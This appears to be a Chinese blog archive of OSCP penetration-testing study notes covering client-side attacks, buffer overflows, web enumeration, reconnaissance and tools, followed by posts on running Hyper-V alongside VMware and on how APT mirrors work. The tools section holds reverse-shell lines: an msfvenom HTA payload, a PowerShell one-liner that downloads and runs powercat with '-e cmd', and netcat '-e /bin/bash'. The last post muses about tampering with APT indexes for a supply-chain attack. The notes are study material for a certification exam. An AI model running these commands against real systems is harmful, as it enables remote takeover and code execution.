OSCP学习笔记(6)——客户端攻击

客户端攻击即攻击客户端软件、邮件
例如:浏览器、PDF、OFFICE、邮件附件、恶意链接

Fingerprintjs

Fingerprintjs是一个浏览器指纹库,它可以查询浏览器的属性,并从中计算出一个哈希的访问者标识符。与Cookie和本地存储不同,指纹在隐私模式下和浏览器数据被清除时仍然保持不变。
Github-Fingerprintjs

<script>
  // Initialize the agent at application startup.
  const fpPromise = import('https://openfpcdn.io/fingerprintjs/v3')
    .then(FingerprintJS => FingerprintJS.load())
  // Get the visitor identifier when you need it.
  fpPromise
    .then(fp => fp.get())
    .then(result => {
      // This is the visitor identifier:
      const visitorId = result.visitorId
      console.log(visitorId)
    })
</script>

可以结合一些操作,把信息通过post等方法提交至指定服务端

HTA程序

HTA文件可以被IE作为HTML应用程序执行。兼容ActiveX,支持JavaScript、VBScript,执行任意程序
仅针对IE、Edge有效
可以如下通过msf生成该反弹shell目标载荷

msfvenom -p windows/shell_reverse_tcp LHOST=<HOST> LPORT=<PORT> -f hta-psh -o <FILENAME>.hta

Office宏/嵌入对象

文档后缀为.doc或.docm
利用宏执行VBA代码,支持ActiveX、Windows脚本主机
也可以通过嵌入批处理文件/动态数据交换等功能启动任意程序

OSCP学习笔记(5)——缓冲区溢出

下面以x86架构为例

缓存结构


x86架构的计算机最多可管理4GB内存

堆栈

堆栈内存是以LIFO结构被CPU访问(Last-In,First-Out)
函数返回时需要读取返回地址
会存在堆栈溢出操作

CPU寄存器

x86寄存器指令为32位,4个字节,首个字节为操作符
EBP基指针(访问堆栈)<–一般来说程序访问临时变量就在这里
EIP指令指针(命令跳转)<–覆盖这个指令指针可以执行任意指令

Immunity Debugger

一个二进制程序调试器
可以通过断点等方式,跟踪程序执行过程,利用某些EIP指针实现命令执行

TODO:实操

OSCP学习笔记(4)——Web应用攻击

基本信息收集

在没有明确目标之前可以通过扫描器等形式获取目标相关信息
信息主要如下:
1. 功能
2. 开发语言
3. 服务端软件

Web枚举

  1. 识别目标系统技术栈
    a. 分析URL
    b. 浏览器信息
    c. 分析路由信息
    d. 相应头
  2. 选择对应技术栈的攻击载荷
    a. 编程语言和框架
    b. Web服务器软件
    c. 数据库软件
    d. 服务器操作系统

路径枚举

dirb内建字典,默认递归发现隐藏路径

dirb <{URL}/{FILE}> [-r非递归] [-z {TIME_MS}延时] [-X {.TYPE}枚举指定后缀] 

dirsearch查找隐藏文件和目录

python3 dirsearch.py -u <URL> -e <EXTENSIONS> -w <WORDLIST> -t <THREADS> -r -f -x <EXCLUDE_STATUS_CODES> -b
-u, --url: 要扫描的目标 URL。
-e, --extensions: 要扫描的文件扩展名,以逗号分隔。例如,-e php,txt 表示要扫描 php 和 txt 文件。
-w, --wordlist: 要使用的字典文件路径。
-t, --threads: 使用的线程数。
-r, --recursive: 递归扫描子目录。
-f, --full-url: 显示完整的 URL。
-x, --exclude-status-codes: 要排除的 HTTP 状态码,以逗号分隔。例如,-x 404,403 表示要排除 404 和 403 状态码。
-b, --bruteforce: 对目录进行爆破。

Xray有爬虫功能的路径扫描

xray webscan --basic-crawler <HOST> [--html-output {FILE}.html]

更多功能可以通过配置config.yaml等方式实现
Xray教程可以在其仓库docs.xray.cool查看

常见漏洞

XSS漏洞

beef-xss
可用与xss漏洞利用,与shell类似在目标中执行一个hook.js的后门以便后续操作

目录遍历(文件包含)

获得对服务端文件的未授权访问权,例如Web应用根目录之外的文件
攻击者可修改文件路径,便利读取文件内容,文件包含漏洞可执行代码
常见文件
“`/etc/passwd“`或“`c:\boot.ini“`

SQL注入

不再赘述
【SQLI】SQLI攻击与防护

OSCP学习笔记(3)——信息收集

被动信息收集

Whois信息

域名公开信息

whois [HOST]
#信息查询
whois [IP]
#IP反查

Web查询
站长之家

搜索引擎过滤器

Google Hacking Database

site:[HOST] filetype:<TYPE>
ext:<TYPE>
intitle:"<NAME>"

DNS信息搜索服务

Netcraft英国互联网公司
微步在线

Recon-ng信息收集框架

命令行聚合信息收集框架,KEY需要自己设置

recon-ng
marketplace search github
marketplace info [MODULE]
marketplace install [MODULE/ALL]
modules load [MODULE]

gitleaks静态代码校验

gitleaks是一个用于检测和防止git仓库中硬编码的秘密(如密码,api密钥,令牌等)的SAST(静态应用程序安全测试)工具。gitleaks可以作为命令行工具,github动作,预提交钩子或任何CI/CD中的扫描器使用。

gitleaks detect -v
#检测当前目录或指定源,以详细模式输出结果

网络空间搜索引擎/网络空间测绘

Shodan网络空间搜索引擎
fofa网络空间测绘
ZoomEye
Censys

代理平台

SSL Server Test
分析当前服务器的SSL/TLS配置并识别相关漏洞

主动信息收集

DNS枚举

host查询/脚本爆破

host [-t {TYPE}] [HOST]
host [IP] #反向PTR记录
for ip in $(cat list); do host $.[HOST];done | grep -v "not found"
#usr/share/seclists有字典

dnsrecon/dnsenum爆破枚举

dnsrecon -d [HOST] -t axfr
dnsrecon -d [HOST] [-D {DICT}] -t brt
dnsrecon -bykwsad [HOST]
dnsenum [HOST]
dnsenum [HOST] [-f {DICT}]

端口扫描

简单扫描可以使用netcat

nc [-nvv禁用DNS解析并启用详细输出] [-w {TIME(1)}超时] [-z {-u扫描UDP端口}{IP} {PORT1-PORT2}扫描]
#端口扫描

namp扫描器

nmap [-sn/sS/sT/sU] [IP]
nmap -v -sn [IP] [-oG {FILE}]
#NMAP探活:-sn用Ping(ARP/ICMP)/-sS半开连接/-sT全连接(代理)/-sU用UDP扫描
namp [-p默认端口/-p-全端口/-p{NUM1-NUM2}指定端口段] [IP]
#端口扫描
namp [-sV版本探测] [-A高级扫描] [==script={NAME}插件可用通配符] [IP]
#版本探测/高级扫描/插件,与-p参数联动

masscan互联网大规模扫描

masscanf [-p{PORT}] [IP] [--rate={SPEED}速度] [-e {ETH}网卡] [--route-ip {IP}指定网关]

SMB枚举(PORT:NetBIOS u137/u138/139、SMB 445)

Is -1 /usr/share/nmap/scripts/smb
#SMB服务相关脚本

#可能会直接打穿

NFS枚举(PORT:111/2049)

NAMP用相关NFS工具查询后可以挂载一些nolock的NFS共享

mount -o nolock [REMOTE]:[REMOTE_DIR] [LOCAL_DIR]

如果有权限不对的话
“`ll“`查看相关权限PID,在本地添加用户,修改相关PID,su对应用户即可

SMTP枚举(PORT:25)

#nc -nv [IP] 25
VRFY [USER]
#存在225,不存在550

SNMP协议(PORT:u161)

用于管理和监控网络设备、无状态,基于UDP,1、2、2C流量不加密,默认弱口令public/private
snmpwalk也可以用nmap的插件做替代

onesixtyone [-c {DICT_FILE}] [-i {IP_FILE}]
#扫描整个网段
snmpwalk -c public -v1 [-t {TIME}超时] [IP]
#枚举整个MB树
snmpwalk -c public -v1 [IP] 1.3.6.1.4.1.77.1.2.25
#枚举Windows用户
snmpwalk -c public -v1 [IP] 1.3.6.1.2.1.25.4.2.1.2
#枚举进程
snmpwalk -c public -v1 [IP]1.3.6.1.2.1.6.13.1.3
#枚举TCP端口
snmpwalk -c public -v1 [IP] 1.3.6.1.2.1.25.6.3.1.2
#枚举软件列表

枚举工具

AutoRecon

漏洞扫描

探活->端口探测->服务发现->指纹匹配
漏扫软件
Acunetix | Web Application Security Scanner
Nessus Vulnerability Assessment
Goby – Attack surface mapping
GVM Vulnerability Scanner

apt install gvm#安装
gvm-setup#设置
gvm-check-setup#验证
gvm-feed-update#更新
gvm-start#启动
gvm-stop#停止

Nikto(APT安装)
Nikto 是一款常用的 Web 服务器漏洞扫描工具,可以帮助用户快速发现 Web 服务器中存在的安全问题。本文将详细介绍 Nikto 的使用方法,包括安装、配置和基本操作等。

nikto -h [URL]
#-h:指定扫描的目标网站。
#-p:指定要扫描的端口号。
#-ssl:指定使用 SSL 连接扫描。
#-C all:启用所有的检测选项。
#-output:指定扫描结果输出的文件名。
=

OSCP学习笔记(2)——常用工具

NATCAT(NC)

TCP/UDP连接和数据传输工具

nc [-nv连接-nvlp监听] [-e '/bin/bash'/'cmd.exe'远程shell] [HOST] [-p {PORT}监听]
-l:监听模式,用于创建一个服务器端口并等待客户端连接。
-u:使用UDP协议而不是TCP协议。
-z:扫描模式,只扫描开放的端口,不发送任何数据。
-v:详细模式,显示更多的信息。
-w:超时时间,设置连接或读写操作的超时时间(秒)。
-n:不进行DNS解析,直接使用IP地址。
-e:执行命令,将输入和输出重定向到指定的命令。
-p:源端口号,指定本地主机的源端口号。
-s:源IP地址,指定本地主机的源IP地址。

Socat

加密shell,支持证书加密,本质上和nc一致,躲避IPS和IDS

IPS和IDS是两种常用的网络安全设备,它们的目的是监测和防御网络中的入侵行为,保护网络资源的机密性、完整性和可用性。
IPS是入侵防御系统(Intrusion Prevention System),它是一种主动的安全控制设备,它工作在网络层或应用层,通过在网络间相互连接的设备上加载允许、禁止来自某些特定的源地址、目的地址、TCP端口号等规则,对通过设备的数据包进行检查,并根据内置的入侵知识库,对数据包进行深度分析,如果发现潜在的攻击行为,可以立即采取阻断、丢弃、重置等措施,阻止攻击进入内部网络。
IDS是入侵检测系统(Intrusion Detection System),它是一种被动的安全监测设备,它工作在网络层或应用层,通过在网络上被动地、无声息地收集它所关心的报文,对收集来的报文提取相应的流量统计特征值,并利用内置的入侵知识库,与这些流量特征进行智能分析比较匹配,如果发现可疑的活动或攻击行为,可以根据相应的配置进行报警或进行有限度的反击。
IPS和IDS的区别在于,IPS是一种主动防御设备,可以实时阻止入侵行为,而IDS是一种被动监测设备,只能发现入侵行为并报警。
IPS和IDS各有优缺点,适用于不同的场景。IPS比较适合部署在网络边界,抵御来自外部的攻击,而IDS比较适合部署在网络内部,监控整个网络安全状况。

Powershell

Get-ExecutionPolicy
#查看现有策略(默认为restricted,不信任ps1脚本运行)
Set-ExecutionPolicy Unrestricted
#将策略设置为不限制
powershell -exec bypass -c "COMMAND"
#绕过现有执行策略
powershell -c "(new-object System.Net.WebClient).DownloadFile('[URL],'[TARGET]')"
#通过dot.net下载文件
powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c [HOST] [-p {PORT}] -e cmd
#简单的反弹shell,需要加载ps1文件(Powershell版本的Netcat)

#TODO:一句话
powercatc -c [HOST] [-p {PORT}] -e cmd.exe [-g生成反弹shell代码/e用base64加密] > reverseshell.ps1
powershell.exe -E [ENCODEDSHELL]
#powercat生成反弹shell

Wireshark

dumpcap实现,默认root/wireshark组可用,所以要添加用户进wireshark用户组,允许用户在所有网卡抓包

sudo usermod -aG wireshark $USER

搜索Flag位上PUSH的值
“`tcp.flags.push==1“`即有信息传输

tcpdump

命令行感觉还是不如wireshark,除了能写脚本自动化

tcpdump [-r FILE]
tcpdump [-n跳过DNS解析/X以16进制显示/A省略包头] [-r FILE] awk-F " " '{print $5)'| sort | uniq -c | head
tcpdump [-nXA] [src host {HOST}源端口] [-r FILE]
tcpdump [-nXA] [dst host {HOST}目标端口] [-r FILE]
tcpdump [-nXA] [port {PORT}] [-r FILE]

bash

bash脚本编写

#!/bin/bash
#声明解析器
[KEY]=[VALUE]
[KEY]=$(COMMAND) / `COMMAND`
[KEY1]='STRING'
[KEY2]="$KEY1"
#定义变量
$0 #脚本文件名自己
$1-$9 #Bash脚本的前9个参数
$# #传递给Bash脚本的参数数量
$@ #传递给Bash脚本的所有参数
$? #最近运行的程序的退出状态
$USER #运行脚本的用户的用户名
$HOSTNAME #计算机的主机名
$RANDOM #生成个随机数
$LINENO #今脚本中的当前行号
#特殊变量
read [-p 'TOPIC'] [-s安全输入] [KEY]
#读入变量
if (!)[<EXPRESSION1>] (&&)/(||) [<EXPRESSION1>]
then
    <ACTION1>
elif [<EXPRESSION2>]
then
    <ACTION3>
else
    <ACTION3>
fi
-n STRING #长度大于零
-z STRING #长度等于零
STRING1 [!]= STRING2 #字符串判断
INTEGER1 [-eq/ne/gt/lt/ge/le] INTEGER2 #e表示等于,g(reat)大于,l(ess)小于,n(o)不
[-d存在目录/e存在/r可读/s不为空/w可写/x可执行] FILE #目录/文件
#条件判断
for var_name in <list>
do
    <ACTION>
done
#FOR循环
while [<EXPRESSION>]
do
    <ACTION>
done
#WHILE循环
function func_name{
    <ACTION>
}
func_name(){
    <ACTION>
}
#函数

OSCP学习笔记(1)——Linux基础

查询指令的若干方法

  1. tldr
    too long don’t read
tldr [command]
tldr --update
  1. man系统手册
man [-k]/[N] [command]
  1. which/whereis/whatis/locate
    查询指令所在目录,如果不存在可以先执行
    “`updatedb“`更新文件目录

systemctl

启用或关闭系统服务

systemctl start/enable/stop/disable [service]

列出所有服务

systemctl list-unit-files

ss

查询所有tcp套接字

ss -anltp

ENV

$SHELL #使用的shell类型
$USER #当前用户
$PWD #当前目录
$PATH #程序目录
$$ #当前shell的pid
export a=b #定义全局环境变量
env #查看所有环境变量

管道(|)&重定向(><)

  1. 标准输入(STDIN-O):向程序输入数据

    <从某文件输入

  2. 标准输出(STDOUT-1):程序的输出(默认输出到当前终端)

    > 输出到某文件
    >>追加输出到某文件

  3. 标准报错(STDERR-2):报错消息(默认输出到当前终端)

    \2>/dev/null将错误输出丢弃

  4. 管道[command1] | [command2]

    指令1的标准输出传输至指令2的标准输入

grep

grep [-R递归搜索] [-i忽略大小写] [-E正则表达式] [目标] [目录/文件]

find

find [目录] [-regex '正则表达式']

sed

替换

sed [-i替换文件] 's/REPLACE/TARGET/g' [FILENAME(ONLY -i)]

cut/awk

内容提取单个分隔符

cut [-d '分隔符'(单个字符)] [-f NUM(取第NUM部分)]

多个字符

awf [-F "分隔符"] '{print $NUM1"\n"$NUM2}'(输出格式)

sort/uniq

去除重复的

sort -u

倒序排序

sort -run

去重并且显示数量

uniq -c

openssl

生成Linux用户密码

openssl passwd [-1 MD5加密] [PASSWORD]

comm

comm,分别会显示A B AB

comm [-123 不显示哪些行数] [file1] [file2]

diff

diff [-c上下文格式] [-u统一格式] [file1] [file2]

vimdiff交互界面

vimdiff [file1] [file2]

ps

ps [-e所有进程] [-f全部格式]
ps [aux(显示BSD格式)]

kill

kill [-9强制kill] [pid]

tail

tail [-f实时监控] [-n NUM(显示结尾NUM行)] [file]

wget/curl/axel

wget支持http/https/ftp

wget -O [NEW_NAME] [URL]

curl支持IMAP/S,POP3/S,SCP,SFTP,SMB/S,SMTP/S,TELNET,TFTP,执行下载、上传等操作

curl -o [NEW_NAME] [URL]

axel支持FTP/HTTP加速下载,分片断点续传

axel -a [-n NUM(分片NUM)] -o [NEW_NAME] [URL]

alias

别名,重复指令简化
例如将
“`lsa“`设置为“`ls -la“`

alias lsa='ls -la'
unalias lsa

别名持久化
“`/etc/bash.bashrc“`和“`~/.bashrc“`

文件属性

查看文件属性

lsattr

修改属性(只需要可写)

chattr [-i修改只读i属性]

Hyper-V与VMware的区别与共存

Hyper-V

Hyper-V,代号Viridian,旧称Windows Server Virtualization,是Microsoft的本地虚拟机管理程序,它可以在运行x86-64位的Windows上创建虚拟机。从Windows 8开始,Hyper-V取代Windows Virtual PC作为Windows客户端版本的硬件虚拟化组件。可以配置运行Hyper-V的服务器计算机能够将单个虚拟机公开到一个或多个网络。Hyper-V是与Windows Server 2008一起首次发布,自Windows Server 2012和Windows 8以来一直无需额外付费。独立的Windows Hyper-V Server是免费的,但仅具有命令行接口。

省流:Hyper-V是微软自己系统的虚拟化工具

VMware

Vmware是一家提供云计算和硬件虚拟化的软件和服务的公司。

下列的Vmware部分代指Vmware Workstation
VMware Workstation是VMware公司销售的商业软件产品之一。该工作站软件包含一个用于英特尔x86兼容电脑的虚拟机套装,其允许用户同时创建和运行多个x86虚拟机。每个虚拟机可以运行其安装的操作系统,如(但不限于)Windows、Linux、BSD变生版本。用简单术语来描述就是,VMware Workstation允许一台真实的电脑在一个操作系统中同时开启并运行数个操作系统,其它VMware产品帮助在多个宿主电脑之间管理或移植VMware虚拟机。免费版本为VMware Workstation Player。
VMware Fusion是VMware针对Mac电脑推出的一款虚拟机软件。

省流:Vmware是针对商业化使用的虚拟化软件

Hyper-V VS VMware

Hyper-V的优势

  1. Windows 8及以上专业版自带,无需下载安装即可免费使用(开箱即用)
  2. 虚拟磁盘采用的是vhd/vhdx格式,可以直接挂载到Windows上读取文件(假如是Linux的话还是不可以的)
  3. 动态资源调度,可以动态调度内存和CPU,自动分配资源。
  4. 挂起速度快,检查点效率较高

VMware的优势

  1. 可以动态调整窗口大小(需要安装open-vm-tools)
  2. 可以宿主机和虚拟机复制粘贴文件
  3. 可以直通USB设备(U盘、网卡、蓝牙之类的)
  4. 可以通过vmware-tools调用GPU,DirectX11及以上版本可以调用主机显卡(Vulkan在VMware Workstation 17是支持的)
  5. 支持更多操作系统,可以一键安装

Hyper-V和VMware结构区别

借用知乎老哥的一张图

省流1:开了Hyper-V的Windows实际上的相当于是运行在Hyper-V中的虚拟化Windows,即Type1中的GuestOS VM。
省流2:使用VMware是在系统层上跑的虚拟化软件,实际上相当于Type2中的Hypervisor

所以开了Hyper-V后,Windows性能会有一定降低,而Vmware是运行在Host OS(宿主机系统)上的一个虚拟化软件,效率相对来说更高
(经过更新优化,现在Hyper-V性能降低感知不明显)

由于兼容性问题,两个Hypervisor层是不能共存的,这也就造成了Hyper-V系统和VMware不能同时使用。
于是VMware想了个招,将自己套在了Hyper-V中,再使用里面的资源虚拟化,这样就解决了Hyper-V和VMware共存的问题了。
(从Vmware15开始官方就解决了共存问题)
结构类似下图

由于现在Windows很多方便的功能如WSL(Linux 的 Windows 子系统),WSA(Android 的 Windows 子系统),Docker on desktop都需要用到Hyper-V技术,这也就让VMware嵌套一层Hyper-V变得无可厚非

更加详细的可以看Revercc’s Blog的内容

Hyper-V与VMware的共存

由于Hyper-V虚拟机再开启了Hyper-V的情况下,相对于VMware有更好的资源调度优势,运行需要高性能的应用时有一定优势,而VMware在用户界面、管理、体验上均优于Hyper-V,也成为平时使用的首选,可以经过设置在VMware和Hyper-V共享使用虚拟机
下列以Kali Linux为例
首先我们确保虚拟机的Secure Boot是关闭状态,并且磁盘格式为VHD格式,如果不是的话请用工具将其转化为VHD格式

Hyper-V Manager里面既可以实现VHD格式和VHDX格式的相互转换
记住这边的Firmware框起来的设置,后面会有用的

在转换之后记得将虚拟机的磁盘修改为VHD格式

在VMware新建虚拟机,并且选择挂载你刚刚转换的VHD磁盘


Version和Firmware Type要选对应的那个
如果是BIOS启动的话应该可以直接使用了,但是如果是UEFI要进行其他的设置
开机按F2进入Boot Manager

Enter setup->Configure boot options->Add boot option->选择你的磁盘和文件(找回上面你Hyper-V的图,一般为第一个)


找到你的EFI文件并且选择Commit changes and exit
再进入Configure boot options->Change boot order修改启动顺序,保存重启即可

然后两边都可以进入系统,两边都能正常使用了
在进入VMware后记得安装相关vmware-tools才能使用自动调节分辨率,调用GPU等一些相关功能

sudo apt update
sudo apt install open-vm-tools -y

开始快乐使用VMware的各种功能而又可以充分利用Hyper-V的高性能咯

APT源的工作原理

引言

最近在折腾自己学校的镜像源,看到差不多20T的硬盘都被塞满了,我是很好奇系统是如何管理这些文件的,于是顺便就研究下APT源的工作原理

原理

在Ubuntu/Debian等系统下,常见的应用安装方式为apt/apt-get
前者可以说是后者的升级版,提供了更友好的命令行界面,包含了apt-get和apt-cache等常用功能,本质上都是基于dpkg的高级包管理工具。
Ubuntu/Debian采用集中式的软件仓库机制,将各式各样的软件包分门别类地存放在软件仓库中,进行有效地组织和管理。由于网络环境的问题,我们可能无法正常访问官方的软件仓库,所以许多镜像服务器被建立,并且时刻保持与官方服务器的同步。在使用apt之前,我们一般都会进行换源处理【脚本】Linux换源汇总
换源主要是修改位于/etc/apt/source.list的源文件,这个文件记录了可获取软件包的镜像站的站点地址。
我们将在其中加入自己的镜像源地址,下列是一个案例

deb http://mirrors.szu.moe/ubuntu jammy main restricted
# deb-src http://mirrors.szu.moe/ubuntu jammy main restricted
deb http://mirrors.szu.moe/ubuntu jammy-updates main restricted
# deb-src http://mirrors.szu.moe/ubuntu jammy-updates main restricted
deb http://mirrors.szu.moe/ubuntu jammy universe
# deb-src http://mirrors.szu.moe/ubuntu jammy universe
deb http://mirrors.szu.moe/ubuntu jammy-updates universe
# deb-src http://mirrors.szu.moe/ubuntu jammy-updates universe
deb http://mirrors.szu.moe/ubuntu jammy multiverse
# deb-src http://mirrors.szu.moe/ubuntu jammy multiverse
deb http://mirrors.szu.moe/ubuntu jammy-updates multiverse
# deb-src http://mirrors.szu.moe/ubuntu jammy-updates multiverse
deb http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
# deb-src http://mirrors.szu.moe/ubuntu jammy-backports main restricted universe multiverse
deb http://mirrors.szu.moe/ubuntu jammy-security main restricted
# deb-src http://mirrors.szu.moe/ubuntu jammy-security main restricted
deb http://mirrors.szu.moe/ubuntu jammy-security universe
# deb-src http://mirrors.szu.moe/ubuntu jammy-security universe
deb http://mirrors.szu.moe/ubuntu jammy-security multiverse

镜像源地址遵循以下格式

DebType AddressType://Hostaddress/ubuntu Distribution Component1 Component2.....

其中各字段含义如下所示。
1. DebType表示Deb软件包类型,使用deb表示二进制软件包,使用deb-src表示源码包;
对于大部分用户来说,二进制软件包即可完成安装,二进制软件包会被安装在系统的默认目录下(usr/share和usr/bin)。而源码包需要自己编译安装,但可以自己指定安装位置。
源码可以通过apt-get source PackageName获得,以下是源码安装的一个例子(g2o)

cd g2o
mkdir build && cd build
cmake ..
make -j8 -DCMAKE_INSTALL_PREFIX=/usr/local/g2o/
sudo make install
  1. AddressType表示访问地址类型,常用类型有:http、https、ftp、file、cdrom、ssh等;
    目前一般镜像源支持前两个,ftp少部分支持。
  2. Distribution表示Ubuntu的各个发行版本,例如dapper、feisty;
    本样例中jammy代表Ubuntu 22.04 LTS版本的代号
    其中-security(安全相关)、-proposed(测试版)、-updates(更新相关)、-backports(向后移植/兼容)
  3. Component表示软件包组件类别,是由技术支持程度不同而划分的类别,可选择main、restricted、universe和multiverse中的一种或多种。
    main:完全的自由软件。
    restricted:不完全的自由软件。
    universe:ubuntu官方不提供支持与补丁,全靠社区支持。
    muitiverse:非自由软件,完全不提供支持和补丁。

软件源配置文件只是告知系统可以访问的镜像站点地址,但那些镜像站点具体都拥有什么软件资源并不清楚。若每安装一个软件包,就在服务器上寻找一遍,效率是很低的。因而镜像源提供了索引文件,以便本地主机查询apt update即更新索引文件

root@aurora-rsync:/home/aurora# apt update
Get:1 http://mirrors.szu.moe/ubuntu jammy InRelease [270 kB]
Hit:2 http://mirrors.szu.moe/ubuntu jammy-updates InRelease
Hit:3 http://mirrors.szu.moe/ubuntu jammy-backports InRelease
Hit:4 http://mirrors.szu.moe/ubuntu jammy-security InRelease
Fetched 270 kB in 1s (372 kB/s)
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
root@aurora-rsync:/home/aurora# cat /var/log/nginx/access.log
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy/InRelease HTTP/1.1" 200 270087 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-updates/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-backports/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"
192.168.239.252 - - [13/Mar/2023:03:03:54 +0800] "GET /ubuntu/dists/jammy-security/InRelease HTTP/1.1" 304 0 "-" "Debian APT-HTTP/1.3 (2.4.8) non-interactive"

对于update,会根据源的相关设置访问/ubuntu/dists/(设置的Distribution)/InRelease的文件,这个也是一个索引,记录了有哪些相应平台的包存储在服务器上

 b96c0cfe911414e1b7f2df5c88844369          1192665 main/binary-amd64/Packages.gz
 84a735928def889314d9d28d0819425c          1068823 main/binary-arm64/Packages.gz
 6a1ab8e4d5aa235c81e2e036e01e9926           775999 main/binary-armhf/Packages.gz
 8d8471fdecfb661f6580df6096a53c6a           570121 main/binary-i386/Packages.gz
 3a43d2dda28cf2e7e1d885484a1ce249           732797 main/binary-ppc64el/Packages.gz
 8ac0edaecf66d4bd0631294a7908154b           690004 main/binary-riscv64/Packages.gz
 fb78c7c1b05b2dba72b8ec6d99bb6462           717683 main/binary-s390x/Packages.gz

系统会根据自己的平台下载相应的包索引,本平台为amd64,所以访问main/binary-amd64/Packages.gz下载
下列出的是其中的一部分,索引中包含如下信息
包名,优先级,类型,维护者,架构,源文件(source),版本号,依赖包,冲突性信息,包大小,文件的下载路径,MD5sum,SHA1,包描述,Xul-Appid—应用程序id,Bugs信息,Origin,Supported

......
Package: accountsservice
Architecture: amd64
Version: 22.07.5-2ubuntu1.3
Priority: optional
Section: gnome
Origin: Ubuntu
Maintainer: Ubuntu Developers <ubuntu-devel-discuss@lists.ubuntu.com>
Original-Maintainer: Debian freedesktop.org maintainers <pkg-freedesktop-maintainers@lists.alioth.debian.org>
Bugs: https://bugs.launchpad.net/ubuntu/+filebug
Installed-Size: 500
Depends: dbus (>= 1.9.18), libaccountsservice0 (= 22.07.5-2ubuntu1.3), libc6 (>= 2.34), libglib2.0-0 (>= 2.63.5), libpolkit-gobject-1-0 (>= 0.99)
Recommends: default-logind | logind
Suggests: gnome-control-center
Filename: pool/main/a/accountsservice/accountsservice_22.07.5-2ubuntu1.3_amd64.deb
Size: 69728
MD5sum: a2acf0a225e2c30ccb985a66a4dfb848
SHA1: 1c2b73bc5c72bc44cade5ef6fa444dbea1ea69ec
SHA256: f8ed006eb680e9d8a9b55af88b3786f6892d6d2764586ec4853cf954da119596
SHA512: 9496d225169db5524f7bf9c0fb1cbdfac3ab6261b4725ed56c282d5865678881c8841c539a5b87182306ed66dcc9225a15986083dc72cf7433a30bf601507cc7
Homepage: https://www.freedesktop.org/wiki/Software/AccountsService/
Description: query and manipulate user account information
Task: ubuntu-desktop-minimal, ubuntu-desktop, ubuntu-desktop-raspi, kubuntu-desktop, xubuntu-core, xubuntu-desktop, lubuntu-desktop, ubuntustudio-desktop-core, ubuntustudio-desktop, ubuntukylin-desktop, ubuntu-mate-core, ubuntu-mate-desktop, ubuntu-budgie-desktop, ubuntu-budgie-desktop-raspi
Description-md5: 8aeed0a03c7cd494f0c4b8d977483d7e
......

然后apt再将Packages.gz里面的信息以某种数据结构形式导入本地数据库以便快速查找,即完成了
“`apt update“`的一系列操作
其后的`apt install`会借助上述Depends信息自动安装相关依赖,而源码安装则需要自己配置依赖了,所以现在十分不推荐使用

题外话

二进制安装好像是最近(2016年)才开始流行的,可能是因为计算和存储能力有了阶段性提升。Python也采用的是二进制安装与编译安装相结合的方式,二进制安装会从源上下载一个whl后缀的文件,whl格式本质上是一个压缩包,里面包含了py文件,以及经过编译的pyd文件。使得可以在不具备编译环境的情况下,选择合适自己的python环境进行安装。
二进制安装更加简单和快速,不需要用户花费时间和精力去编译源代码,处理编译过程中出现的错误和问题,考虑不同的编译器和命令,也不需要用户管理不同的依赖库。与之相对应的会占用服务器资源(编译源代码),以及存储不同平台的二进制文件。

奇思妙想?

根据上述结论,我们可以通过修改APT源中的Packages.gz文件,在其中添加/修改某些包地址,使其变成恶意文件,如果没有相关签名/校验环节,理论上我们可以完成一次供应链攻击。
所以一般来说要使用足够信任的源,具体实现有待测试。
Todo:APT源实现供应链攻击